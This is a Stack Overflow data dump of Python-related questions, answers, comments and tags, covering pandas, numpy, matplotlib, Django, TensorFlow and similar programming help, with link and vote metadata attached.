has body: You have the binary column in MySQL that is converted into Unicode PostgreSQL column. I think it is just being converted incorrectly, making same unicode string for different source binary values. So you get few records imported in and then the primary key get's repeated raising the error. It is better to use the binary field on the PostgreSQL side (https://www.postgresql.org/docs/9.0/static/datatype-binary.html) or to use some safe binary-to-text conversion (like base64 encoding).
type: Answer
has comment: http://stackoverflow.com/comment/80976037
has comment: http://stackoverflow.com/comment/80973031
has comment: http://stackoverflow.com/comment/80971807
score: 0

http://stackoverflow.com/comment/81008708
comment on: http://stackoverflow.com/a/47026767
type: Comment
has text: im trying that but the button shows no image. This is how im doing: `mg = NewButton(image_path='Pictures/1.png' `
score: 0
type: AnswerComment

http://stackoverflow.com/q/47041784
has answer: http://stackoverflow.com/a/70061050
linked to: http://stackoverflow.com/q/22152482
tagged with: python
has answer: http://stackoverflow.com/a/47045229
has answer: http://stackoverflow.com/a/47042430
score: 4
upvote count: 4
tagged with: numpy
linked to: http://stackoverflow.com/q/27499139
linked to: http://stackoverflow.com/q/11809856
has answer: http://stackoverflow.com/a/62895898
tagged with: random
has title: Generate random points in 3D space with minimum nearest-neighbor distance
downvote count: 0
has body: Similar questions: Generating N random points with certain predefined distance between them choose n most distant points in R But they are either in matlab or does not fullfill the required task. I have to create N number of points inside a box of length that the distance between any two points is larger than delta. For example: Let's say I have a box of length 10 Angstrom on x,y,z axis. I want to have 200 random points inside this box so that minimum distance between any two points is larger than 3 Angstrom. Attempt: #!python # -*- coding: utf-8 -*-# import numpy as np np.random.seed(100) np.set_printoptions(2) box_length = 10 d = box_length threshold = 6 num_points = 5 x1, y1, z1 = np.random.random(num_points)* box_length, np.random.random(num_points)* box_length, np.random.random(num_points)* box_length x2, y2, z2 = np.random.random(num_points)* box_length, np.random.random(num_points)* box_length, np.random.random(num_points)* box_length # print(len(x1)) # just for checking make ponts integers for i in range(len(x1)): x1[i] = int(x1[i]) x2[i] = int(x2[i]) y1[i] = int(y1[i]) y2[i] = int(y2[i]) z1[i] = int(z1[i]) z2[i] = int(z2[i]) print(x1) print(y1) print(z1) print("\n") pt1_lst = [] pt2_lst = [] for i in range(len(x1)): a, b, c = x1[i], y1[i], z1[i] a2, b2, c2 = x2[i], y2[i], z2[i] dist2 = (a-a2)**2 + (b-b2)**2 + (c-c2)**2 print("\n") print(a,b,c) print(a2,b2,c2) print(dist2) if dist2 &gt; threshold**2: pt1 = (a,b,c) pt2 = (a2,b2,c2) pt1_lst.append(pt1) pt2_lst.append(pt2) print("points") print(pt1_lst) print(pt2_lst) Problem on Code: This code compares points from points1 to points2 but does not compare within itself inside points1 and points2. There might be better algorithms to solve this problem and hats off to those guys who come with the brilliant idea to solve the problem. Thanks. PS: I did some research and try to find related links, however was unable to solve the problem. Still some related links are: Update:: I attempted Stefans' code below, It works…
has comment: http://stackoverflow.com/comment/114995296
linked to: http://stackoverflow.com/q/32810071
linked to: http://stackoverflow.com/q/26317291
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/40686697
has answer: http://stackoverflow.com/a/62891142
answer count: 5
type: UnansweredQuestion

http://stackoverflow.com/a/47025577
type: Answer
has comment: http://stackoverflow.com/comment/80998415
score: 0
has body: You can try this: my_list = [ [[1,2,3],[4,3,2]] , [[2,1,9],[8,1,2]] , [[5,4,3],[1,6,7]]] maximum, the_index = [(a, i) for i, a in enumerate(my_list) if a == max(my_list)][0] new_list = [[[c-b[0]*2 for c in b] for b in i] for i in my_list]
answers question: http://stackoverflow.com/q/47025499

http://stackoverflow.com/q/47059212
has title: How to save an html output as an image in python using the most basic libraries
has comment: http://stackoverflow.com/comment/81065946
answer count: 0
score: 0
tagged with: http://stackoverflow.com/tag/html
type: Question
has body: There are many post on how to save an html's visual output as an image in python using libraries such as imgkit, but most such libraries depend on wkhtmltopdf. What is the most basic way to do this, even if this compromises speed or efficiency?
has comment: http://stackoverflow.com/comment/81065898
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81066291
has comment: http://stackoverflow.com/comment/81093755
tagged with: python

http://stackoverflow.com/comment/80851262
score: 0
comment on: http://stackoverflow.com/q/46951578
has text: Hmmm, my answer give solution for this requirement too ;)
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47059010
answers question: http://stackoverflow.com/q/47058909
upvote count: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47058909
has body: Just tf.reshape your final: final = tf.reshape(final, [None, 7168]) Although I am not sure why it is automatically flattening when you call softmax_cross_entropy_with_logits...
score: 1
type: Answer

http://stackoverflow.com/a/46933936
downvote count: 1
answers question: http://stackoverflow.com/q/46933679
upvote count: 1
score: 0
type: Answer
has body: Try this: import urllib2 from bs4 import BeautifulSoup import requests import csv MAX = 2 '''with open("lg.csv", "a") as f: w=csv.writer(f)''' ##for i in range(1,MAX+1) url="http://www.example_site.com" page=requests.get(url) soup = BeautifulSoup(page,"html.parser") print(soup.text)

http://stackoverflow.com/comment/80876732
type: QuestionComment
has text: So how is the 'a' being matched?
comment on: http://stackoverflow.com/q/46964461
score: 0
type: Comment

http://stackoverflow.com/comment/81072062
score: 0
type: Comment
has text: Correction: sleep will cause mainloop to stall in all cases. It does exactly what the name implies: it puts the whole thread to sleep. Also, your example won't update every second, it updates exactly once because you call `after` only once. `after` doesn't auto-repeat.
comment on: http://stackoverflow.com/a/47057039
type: AnswerComment

http://stackoverflow.com/comment/80808497
has text: @hall `df = df[df['DRIVEDIR'].notnull()].copy()` and this is an unrelated question. If this problem was solved, please mark it accepted. Thank you.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46930524

http://stackoverflow.com/a/47057656
has comment: http://stackoverflow.com/comment/81064073
type: Answer
answers question: http://stackoverflow.com/q/47057420
has body: You can do this with the base Django framework by using a Q object: https://docs.djangoproject.com/en/1.11/topics/db/queries/#complex-lookups-with-q-objects For instance, this statement would yield a single Q object representing the OR of the two queries: Q(description__icontains='criminal') | Q(body__icontains='criminal') You can pass this statement into a filter query: Law.objects.filter( Q(description__icontains='criminal') | Q(body__icontains='criminal') )
upvote count: 2
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47057420
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81062945
has comment: http://stackoverflow.com/comment/81063393

http://stackoverflow.com/comment/80991553
type: Comment
comment on: http://stackoverflow.com/a/46986123
score: 0
type: AnswerComment
has text: I certainly need to run more tests, yes. I guess I was just asking if the approach I was proposing was sensible, or if there was something basic that I was missing.

http://stackoverflow.com/comment/80826044
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46939314
type: QuestionComment
has text: Unique_Key is the first column in the df

http://stackoverflow.com/comment/80976385
type: AnswerComment
has text: Thank you @Simon. I am indeed using Spyder 3.2.4. It's actually not the `jedi_plugin.py` file. It's the /jedi/settings.py file. There was an issue opened for Jedi about this in https://github.com/davidhalter/jedi/issues/926 they say it's resolved and that they moved these folders to the local folders. This has been done in https://github.com/DonJayamanne/pythonVSCode/commit/25133dc145a8a3ea82d54569026c1d0f979f6f63
type: Comment
score: 0
comment on: http://stackoverflow.com/a/46938208

http://stackoverflow.com/a/65933606
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46920538
has body: You could use a bash for loop in Colab notebook: !for file in /Users/images/*.jpg; \ do python process.py --filename $file; \ done

http://stackoverflow.com/q/46929371
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80805590
has comment: http://stackoverflow.com/comment/80805741
tagged with: sms
type: UnansweredQuestion
tagged with: python
tagged with: gsm
tagged with: python-2.7
score: 0
has body: I am a beginner in python and GSM. I have made a system using GSM &amp; Python that receives user text messages and respond to their queries through SMS. When I send english text it is working fine, but when I try to send urdu text through GSM in it shows error of unicode characters. and user is receiving either empty message or some garbage.
answer count: 0
has title: Error occur when trying to send urdu text through GSM
has comment: http://stackoverflow.com/comment/80840715
has comment: http://stackoverflow.com/comment/80826953
upvote count: 1
tagged with: unicode-string

http://stackoverflow.com/comment/80780118
comment on: http://stackoverflow.com/q/46915411
has text: @whenisnever Telegram uses their own encryption so I am not sure about SSL.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/80791342
comment on: http://stackoverflow.com/a/46921865
score: 0
type: Comment
has text: Ah, Okay! Thank You =)
type: AnswerComment

http://stackoverflow.com/comment/80863237
type: QuestionComment
has text: `a = [[1,2,3] for _ in range(5)]` basically the same list is ref-copied 5 times.
comment on: http://stackoverflow.com/q/46957935
score: 1
type: Comment

system
tag name: system
type: Tag
tags question: http://stackoverflow.com/q/46971668

http://stackoverflow.com/comment/80822337
type: QuestionComment
has text: @Wen if you could do that without group I'm more curious
comment on: http://stackoverflow.com/q/46937481
score: 0
type: Comment

http://stackoverflow.com/q/46913258
has answer: http://stackoverflow.com/a/46913592
favorite count: 0
has body: I'm trying to expand a DataFrame column with nested struct type (see below) to multiple columns. The Struct schema I'm working with looks something like {"foo": 3, "bar": {"baz": 2}}. Ideally, I'd like to expand the above into two columns ("foo" and "bar.baz"). However, when I tried using .select("data.*") (where data is the Struct column), I only get columns foo and bar, where bar is still a struct. Is there a way such that I can expand the Struct for both layers?
type: Question
tagged with: apache-spark-sql
answer count: 2
has answer: http://stackoverflow.com/a/46942723
has title: How to unwrap nested Struct column into multiple columns?
tagged with: pyspark
downvote count: 0
tagged with: python
score: 14
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46942723
tagged with: apache-spark
upvote count: 14
accepted answer: http://stackoverflow.com/a/46913592
tagged with: dataframe

http://stackoverflow.com/a/46988882
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80925836
has comment: http://stackoverflow.com/comment/80924820
answers question: http://stackoverflow.com/q/46988812
has comment: http://stackoverflow.com/comment/80925512
has comment: http://stackoverflow.com/comment/80924491
type: Answer
has comment: http://stackoverflow.com/comment/80925325
accepted answer of: http://stackoverflow.com/q/46988812
has comment: http://stackoverflow.com/comment/80925405
has body: Because fanout exchanges rout messages to every queue they are bound to. You are not binding exchange to a queue in producer. And that binding has to be declared somewhere - in this case it is done on consumer side. It is not "route a message to every queue present on the broker" :) You need to bind it too.
score: 1

http://stackoverflow.com/comment/80871531
comment on: http://stackoverflow.com/q/46919714
type: QuestionComment
has text: I have tried the second way too but its the same error iam facing.
score: 0
type: Comment

http://stackoverflow.com/comment/80957475
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47004850
type: Comment
has text: Are `A` and `B` sparse as well, or just `M`?

http://stackoverflow.com/q/46916723
linked to: http://stackoverflow.com/q/489999
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/46916889
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/46916889
favorite count: 0
type: AnsweredQuestion
tagged with: pandas
score: 1
has title: Concat number columns in DataFrame dynamically
type: Question
has body: I want to concatenate DataFrame columns of numbers. First, to concat the numbers themselves I found this great solution here. In [1]: l = [1,2,3,4] In [2]: int(''.join(map(str,l))) Out[2]: 1234 Now, I need to apply this to DataFrame columns. I can do so like this: In [1]: import pandas as pd In [2]: df = pd.DataFrame({'a':[1,2,3],'b':[4,5,6],'c':[7,8,9]}) In [3]: df Out[3]: a b c 0 1 4 7 1 2 5 8 2 3 6 9 In [4]: df['concat'] = df['a'].astype(str) + df['b'].astype(str) + df['c'].astype(str) In [5]: df Out[5]: a b c concat 0 1 4 7 147 1 2 5 8 258 2 3 6 9 369 But how can I do this with dynamic column names? I don't want to have to manually write each column out separately. Instead, I want to have a list of column names and somehow iterate through them to concat their contents. (I'm not being lazy, just working with larger DataFrames). Thanks.
tagged with: concatenation

http://stackoverflow.com/q/46908085
type: AnsweredQuestion
tagged with: pandas
tagged with: matplotlib
downvote count: 0
accepted answer: http://stackoverflow.com/a/46908170
has title: bar plot does not respect order of the legend text in matplotlib
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/46908760
answer count: 2
upvote count: 2
has answer: http://stackoverflow.com/a/46908760
has body: Just noticed that the legend text doesnt have the same order as the plot bars. I would expect to see the "Banana" in first place of the legend. Is it possible to correct such behavior? Thanks My code is: import matplotlib.pyplot as plt import pandas as pd df = pd.DataFrame({"Apple" : [2,3,4,1], "Banana" : [4,2,1,2]}) ax = df.plot.barh() ax.legend() plt.show() And my graph:
tagged with: python
has answer: http://stackoverflow.com/a/46908170
score: 2

http://stackoverflow.com/comment/81117214
score: 0
comment on: http://stackoverflow.com/q/46960665
has text: @Torxed https://imgur.com/a/fHG0z this shows the effect i want to achieve with batches. like depth - things that are further away appear behind closer objects. the problem was that i need an un-predetermined number of layers
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46969719
tagged with: notepad++
upvote count: 2
type: UnansweredQuestion
tagged with: python
downvote count: 1
has title: How to fill the white-space with info while leaving the rest unchanged?
has body: I am constructing scenery for a Flight Simulator and need to figure out how to edit many lines in a text file (3,579,189 of them). I have TextCrawler Pro, Node, Python SVN and Notepad++ as tools. Raw, pre-edit portion: POLYGON_POINT -79.750000000217,42.017498354525,0 POLYGON_POINT -79.750000000217,42.016478251402,0 POLYGON_POINT -79.750598748133,42.017193264943,0 POLYGON_POINT -79.750000000217,42.017498354525,0 POLYGON_POINT -79.750000000217,42.085882815878,0 POLYGON_POINT -79.750000000217,42.082008734634,0 POLYGON_POINT -79.751045507507,42.082126409633,0 POLYGON_POINT -79.750281907508,42.083166574215,0 POLYGON_POINT -79.750781149174,42.084212672130,0 POLYGON_POINT -79.750000000217,42.085882815878,0 POLYGON_POINT -79.750000000217,42.088955814831,0 POLYGON_POINT -79.750456566883,42.087544672125,0 POLYGON_POINT -79.751642899173,42.088273325249,0 POLYGON_POINT -79.751461052298,42.088916154415,0 POLYGON_POINT -79.750000000217,42.088955814831,0 With Notepad++'s replace function, it is easy enough to add the POLYGON_POINT line. Now I need some assistance in making it appear as so: BEGIN_POLYGON POLYGON_POINT -79.750000000217,42.017498354525,0 POLYGON_POINT -79.750000000217,42.016478251402,0 POLYGON_POINT -79.750598748133,42.017193264943,0 POLYGON_POINT -79.750000000217,42.017498354525,0 END_POLY BEGIN_POLYGON POLYGON_POINT -79.750000000217,42.085882815878,0 POLYGON_POINT -79.750000000217,42.082008734634,0 POLYGON_POINT -79.751045507507,42.082126409633,0 POLYGON_POINT -79.750281907508,42.083166574215,0 POLYGON_POINT -79.750781149174,42.084212672130,0 POLYGON_POINT -79.750000000217,42.085882815878,0 END_POLY BEGIN_POLYGON POLYGON_POINT -79.750000000217,42.088955814831,0 POLYGON_POINT -79.750456566883,42.087544672125,0 POLYGON_POINT -79.751642899173,42.088273325249,0 POLYGON_POINT -79.751461052298,42.088916154415,0 POLYGON_POINT -79.750000000217,42.088955814831,0 i.e. add BEGIN_POLYGON before each block and END_POLY after each. How can I do this?
score: 1
has comment: http://stackoverflow.com/comment/80886912
linked to: http://stackoverflow.com/q/46976157
has answer: http://stackoverflow.com/a/46969904
favorite count: 0
has answer: http://stackoverflow.com/a/46970252
type: Question
answer count: 2

http://stackoverflow.com/a/47015075
downvote count: 0
has body: with open('shell.txt', 'r') as oldfile, open('new_shell.txt', 'w') as newfile: for line in oldfile: if writing: if "*NODE" in line: writing = False else: newfile.write(line) elif "*ELEMENT" in line: newfile.write(line) writing = True newfile.write You were not writing the line which contains *ELEMENT. But I would suggest generally doing all of this using regex / a bit of shell scripting.
upvote count: 1
answers question: http://stackoverflow.com/q/47014942
type: Answer
score: 1

http://stackoverflow.com/comment/80839336
type: Comment
type: QuestionComment
has text: For problem 1: where you're giving single space then it is matching to one of the character in your string which space between **python string** but when you're not giving space in if block (#1 problem) then it is not matching any character and break is not getting executed and that's the reason for loop execution goes on without any interruption.
score: 0
comment on: http://stackoverflow.com/q/46945994

http://stackoverflow.com/comment/80898582
comment on: http://stackoverflow.com/a/46975102
type: Comment
type: AnswerComment
score: 0
has text: @Knight_bot in that case you can use `del m[start:end:step]`.

http://stackoverflow.com/comment/81068477
comment on: http://stackoverflow.com/q/47060379
type: Comment
type: QuestionComment
score: 0
has text: @Asdfg Thanks for your response. In the documentation one of the examples they give: `"L": ["Cookies", "Coffee", 3.14159]`

http://stackoverflow.com/a/46929395
has comment: http://stackoverflow.com/comment/80806442
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/80806828
type: Answer
answers question: http://stackoverflow.com/q/46929339
upvote count: 6
has body: You could map the str.stripfunction to every element in the list and join them afterwards. values = ['Maths\n', 'English\n', 'Hindi\n', 'Science\n', 'Physical_Edu\n', 'Accounts\n', '\n'] print("Subjects:", " ".join(map(str.strip, values)))
has comment: http://stackoverflow.com/comment/80805666

http://stackoverflow.com/q/47059780
type: AnsweredQuestion
has title: How to get common elements together in a python list?
answer count: 1
has comment: http://stackoverflow.com/comment/81067167
accepted answer: http://stackoverflow.com/a/47063011
favorite count: 0
has comment: http://stackoverflow.com/comment/81067059
has body: This might sound like a stupid question but I have the following list: list = ['a','b','c','d','a','b','c','d'] And I want to get common elements together to rearrange it as: sorted_list = ['a','a','b','b','c','c','d','d'] Is there any built in function in python to do that?
has answer: http://stackoverflow.com/a/47063011
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81067030
tagged with: python
tagged with: sorting
score: -2
has comment: http://stackoverflow.com/comment/81067102
tagged with: list
has comment: http://stackoverflow.com/comment/81067143
downvote count: 4
has comment: http://stackoverflow.com/comment/81067205

http://stackoverflow.com/comment/80785059
score: 0
type: QuestionComment
type: Comment
has text: Could you provide a link to documentation that you used?
comment on: http://stackoverflow.com/q/46918658

http://stackoverflow.com/a/46948640
has body: Turns out in python this is quite easy. Once your recognize my problem is essentially an imputation problem where I'd like to use last observation carried forward I believe it becomes as simple as: test2 = test.fillna(method = 'pad') Also found an easier way in R for the future library(zoo) test2 = na.locf(test)
has comment: http://stackoverflow.com/comment/80848314
downvote count: 0
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46934862
has comment: http://stackoverflow.com/comment/81014093

http://stackoverflow.com/comment/80932151
comment on: http://stackoverflow.com/q/46992642
type: Comment
type: QuestionComment
has text: @quamrana do you think this test would reasonably fail/ pass given my description?
score: 0

http://stackoverflow.com/comment/81533958
has text: So what you want is to obtain a raster resulting with only the area delimited by the shapefile? This can be done in QGis directly easier than with code, is that what you seek?
score: 0
comment on: http://stackoverflow.com/q/47009473
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81063055
comment on: http://stackoverflow.com/a/47057713
score: 0
type: AnswerComment
has text: You can simply make a "filepath_2" or something, see edit
type: Comment

http://stackoverflow.com/comment/80842217
score: 0
comment on: http://stackoverflow.com/q/46947498
has text: @Maor Veitsman I am a beginner in this aspect. So, I am looking for starting directions.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47058492
type: AnsweredQuestion
type: Question
has title: What is artists in matplotlib.animation.FuncAnimation?
has comment: http://stackoverflow.com/comment/81064312
downvote count: 0
tagged with: animation
answer count: 1
upvote count: 1
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/81064375
score: 1
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81066588
has answer: http://stackoverflow.com/a/47064852
accepted answer: http://stackoverflow.com/a/47064852
has body: So i am reading up on the documentation for matplotlib.animation.FuncAnimation here, but i have a hard time understanding what artists is (are?). Does anyone have a clear and concise answer to this?

http://stackoverflow.com/a/76541177
has body: For me the problem was that I ran out of RAM.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47022997

http://stackoverflow.com/comment/80812989
has text: Concatenating the four lists - when I try to enter all numbers into one list, it seems that there are too many numbers and doesn't let me.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46933027

http://stackoverflow.com/comment/80838132
comment on: http://stackoverflow.com/a/46945404
score: 0
type: Comment
has text: It's all about the pivot_table (if you see stack/unstack think pivot_table)! This doesn't handle the case that the value is > 1 ... not sure if that's possible in OPs data. Edit: I take it back, that's handled in the `.size()` of the OPs code!
type: AnswerComment

http://stackoverflow.com/q/46936981
has body: I am new in python and I am facing a problem that is driving me crazy :X I have a list of Products as it follows filled with unique products array(['NEG_00_04', 'NEG_04_08', 'NEG_08_12', 'NEG_12_16', 'NEG_16_20', 'NEG_20_24', 'POS_00_04', 'POS_04_08', 'POS_08_12', 'POS_12_16', 'POS_16_20', 'POS_20_24'], dtype=object) I have done a function that will have as a result of a list of results with their respective date as it follows: For example for product resultado(waps_df1,'NEG_00_04') datum_von Result 0 2017-10-10 1.10 1 2017-10-11 2.74 2 2017-10-12 3.96 3 2017-10-13 11.85 4 2017-10-14 7.83 5 2017-10-15 14.64 6 2017-10-16 5.11 7 2017-10-17 12.09 8 2017-10-18 8.47 9 2017-10-19 6.34 10 2017-10-20 7.68 11 2017-10-21 13.40 12 2017-10-22 25.53 13 2017-10-23 2.85 14 2017-10-24 5.80 15 2017-10-25 4.09 I created then this data frame NEG_00_04 NEG_04_08 NEG_08_12 NEG_12_16 NEG_16_20 NEG_20_24 \ datum_von 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-10 1 1 1 1 1 1 2017-10-11 1 1 1 1 1 1 2017-10-11 1 1 1 1 1 1 2017-10-11 1 1 1 1 1 1 2017-10-11 1 1 1 1 1 1 with the index od datum_von But now I am not sure how can I insert the results of every product correspondent to its date. I have the same dates in datum_von as index in my frame and also in my function so I wanna fill my date frame with the right correspondent result given by the following function def resultado(waps_df1,prod): NEG_00_04_p = waps_df1[waps_df1['produktname']== prod] #one prodkt NEG_00_04 NEG_00_04_p = NEG_00_04_p.reset_index() NEG_00_04_p['Diff'] = -NEG_00_04_p['wap'].diff(-1) NEG_00_04_p['Diff'].shift(+1).fillna(0) NEG_00_04_p['Diff'] = NEG_00_04_p['Diff'].shift(+1).fillna(0) NEG_00_04_p['Results'] = NEG_00_04_p['Diff'] + NEG_00_04_p['wap'] NEG_00_04_p = NEG_00_04_p.drop('index', 1) NEG_00_04_p = N…
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80823956
tagged with: pandas
accepted answer: http://stackoverflow.com/a/46940860
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/80823953
has comment: http://stackoverflow.com/comment/80827992
favorite count: 0
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/80828155
has title: filling data frame in python with loops
has comment: http://stackoverflow.com/comment/80827381
upvote count: 2
has answer: http://stackoverflow.com/a/46940860
tagged with: python

http://stackoverflow.com/q/46996365
tagged with: pandas
has body: df, Name Sri Sri,Ram Sri,Ram,kumar Ram I am trying to calculate the value counts for each value. I am not getting my output when using df["Name"].values_count() my desired output is, Sri 3 Ram 3 Kumar 1
tagged with: dataframe
tagged with: python
score: -1
linked to: http://stackoverflow.com/q/46930681
type: Question
upvote count: 0
has title: how to calculate value counts when we have more than one value in a colum in pandas dataframe
answer count: 1
accepted answer: http://stackoverflow.com/a/46996377
downvote count: 1
has answer: http://stackoverflow.com/a/46996377
favorite count: 0
type: AnsweredQuestion
tagged with: data-analysis

http://stackoverflow.com/q/47047005
has answer: http://stackoverflow.com/a/47047142
has title: list comprehension to build a nested dictionary from a list of tuples
has answer: http://stackoverflow.com/a/47047052
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47047387
has answer: http://stackoverflow.com/a/56515115
downvote count: 0
answer count: 5
has comment: http://stackoverflow.com/comment/81041297
score: 6
upvote count: 6
possible better answer: http://stackoverflow.com/a/47047052
tagged with: python
has answer: http://stackoverflow.com/a/47047091
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/47047091
tagged with: list-comprehension
has body: I have data (counts) indexed by user_id and analysis_type_id obtained from a database. It's a list of 3-tuple. Sample data: counts = [(4, 1, 4), (3, 5, 4), (2, 10, 4), (2, 10, 5)] where the first item of each tuple is the count, the second the analysis_type_id, and the last the user_id. I'd like to place that into a dictionary, so i can retrieve the counts quickly: given a user_id and analysis_type_id. It would have to be a two-level dictionary. Is there any better structure? To construct the two-level dictionary "by hand", I would code: dict = {4:{1:4,5:3,10:2},5:{10:2}} Where user_id is the first dict key level, analysis_type_id is the second (sub-) key, and the count is the value inside the dict. How would I create the "double-depth" in dict keys through list comprehension? Or do I need to resort to a nested for-loop, where I first iterate through unique user_id values, then find matching analysis_type_id and fill in the counts ... one-at-a-time into the dict?
type: AnsweredQuestion

jupyter-notebook
tags question: http://stackoverflow.com/q/47061626
tags question: http://stackoverflow.com/q/47052861
tags question: http://stackoverflow.com/q/46909370
tags question: http://stackoverflow.com/q/47022070
tags question: http://stackoverflow.com/q/47043407
tags question: http://stackoverflow.com/q/47034349
tags question: http://stackoverflow.com/q/46911542
tags question: http://stackoverflow.com/q/46958307
tags question: http://stackoverflow.com/q/46972225
tags question: http://stackoverflow.com/q/46937314
tags question: http://stackoverflow.com/q/46994855
tags question: http://stackoverflow.com/q/46979108
tags question: http://stackoverflow.com/q/47040153
tags question: http://stackoverflow.com/q/47007130
tags question: http://stackoverflow.com/q/46982150
tags question: http://stackoverflow.com/q/46911722
tags question: http://stackoverflow.com/q/47042689
tags question: http://stackoverflow.com/q/47035378
tags question: http://stackoverflow.com/q/47007888
tags question: http://stackoverflow.com/q/46942237
tag name: jupyter-notebook
tags question: http://stackoverflow.com/q/46935404
tags question: http://stackoverflow.com/q/47048187
tags question: http://stackoverflow.com/q/46910353
type: Tag
tags question: http://stackoverflow.com/q/47027311
tags question: http://stackoverflow.com/q/46958447
tags question: http://stackoverflow.com/q/47022997
tags question: http://stackoverflow.com/q/46925221
tags question: http://stackoverflow.com/q/46916905
tags question: http://stackoverflow.com/q/46920538
tags question: http://stackoverflow.com/q/46965919
tags question: http://stackoverflow.com/q/47040170

http://stackoverflow.com/a/47009951
has body: You can do this in following way str = "(\"Cardinal\", \"Tom B. Erichsen\", \"Skagen 21\",)" str = str[:len(str)-2] + str[len(str)-1]
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47009752

http://stackoverflow.com/a/51701618
has body: For me, I have occurred the same problem (MacOS version 10.13.4 and python 3.7) and solved using below steps. Unzip the labelImg downloaded from here, cd labelImg-master brew install qt qt5 brew install libxml2 brew install pyqt5 make qt5py3 python3 labelImg.py
downvote count: 0
score: 10
upvote count: 10
answers question: http://stackoverflow.com/q/46986431
type: Answer

http://stackoverflow.com/q/47027636
score: 0
answer count: 1
type: Question
has body: I would like to make a list of longitude like this: ['0','1E','2E','3E','4E',....,'179E','180','179W','178W',......,'1W','0'] and I can achieve this by : ['0'] + [str(i)+'E' for i in range(1,180)] + ['180'] + [str(i)+'W' for i in range(179,0,-1)] + ['0'] However, I would like to know is there any more clean method? Thank you very much
tagged with: python
type: UnansweredQuestion
has title: making a list of longitude with interval of 1 degree
has answer: http://stackoverflow.com/a/47027816

http://stackoverflow.com/comment/80914715
has text: @Brendan `#df.values.T+df.values` did you see the mark one :-)
comment on: http://stackoverflow.com/a/46962552
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/46922366
has answer: http://stackoverflow.com/a/46932355
tagged with: sympy
has body: I would like to make and plot a mixed random variable with sympy. I have a Gaussian mixture of two evenly weighted normal distributions, one with a mean of 1, and one with a mean of 2. from sympy.stats import Normal mixed = 0.5 * Normal('n1', 1, 1) + 0.5 * Normal('n2', 2, 1) E(mixed1) Out: 1.5 This is correct, but I can't plot this distribution: x = symbols('x') sp.plot(mixed(x), x) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-56-a1c8047b8c4a&gt; in &lt;module&gt;() ----&gt; sp.plot(mixed(x), x) TypeError: 'Add' object is not callable When I try to make it a density, I get a long error ending in sp.plot(density(mixed1)(x), x) ... UnboundLocalError: local variable 'reprec' referenced before assignment Any ideas on why the plotting feature doesn't like the sum here?
type: AnsweredQuestion
downvote count: 0
has title: Plotting the density of the sum of two random variables in SymPy
answer count: 1
favorite count: 0
tagged with: plot
type: Question
tagged with: python
accepted answer: http://stackoverflow.com/a/46932355
score: 4
upvote count: 4

http://stackoverflow.com/a/46908076
accepted answer of: http://stackoverflow.com/q/46907864
score: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46907864
upvote count: 1
has body: Without much information is very little what I can explicitly provide. Anyhow, you have your rotation wrong. First the angles are in degrees instead of radians, and then you use the incorrect rotation matrix. Avoiding the translation of the coordinates, the proper rotation is as follows: rot = np.pi/4 phi_z_rot = phi_z*np.cos(rot)+phi_y*np.sin(rot) phi_y_rot = -phi_z*np.sin(rot)+phi_y*np.cos(rot)
type: Answer

http://stackoverflow.com/q/47014889
has body: My python 2.7 code which has been coded based on Eratosthenes prime sieve, to find all the primes under a certain limit, gives a memory error when finding primes over billion. In my code, I simply used a list to store true/false values corresponding to each number(true when it is a prime, false otherwise). Below is my code,` def primeSieve(limit): sieve = [True] * ((limit+1)/2) for i in range(3, int(limit**0.5)+1, 2): if sieve[i/2]: sieve[(i*i)/2::i] = [False] * ((limit-i*i-1)/(2*i)+1) return [2] + [2*i+1 for i in range(1, (limit+1)/2) if sieve[i]] print primeSieve(100000000) How can I modify my code to find primes over billion ? Thank you.
has title: How can I modify my prime sieve code to prevent memory errors?
type: Question
tagged with: out-of-memory
downvote count: 0
answer count: 0
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80976756
tagged with: primes
linked to: http://stackoverflow.com/q/10249378
has comment: http://stackoverflow.com/comment/80978537
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/115348012
score: 3
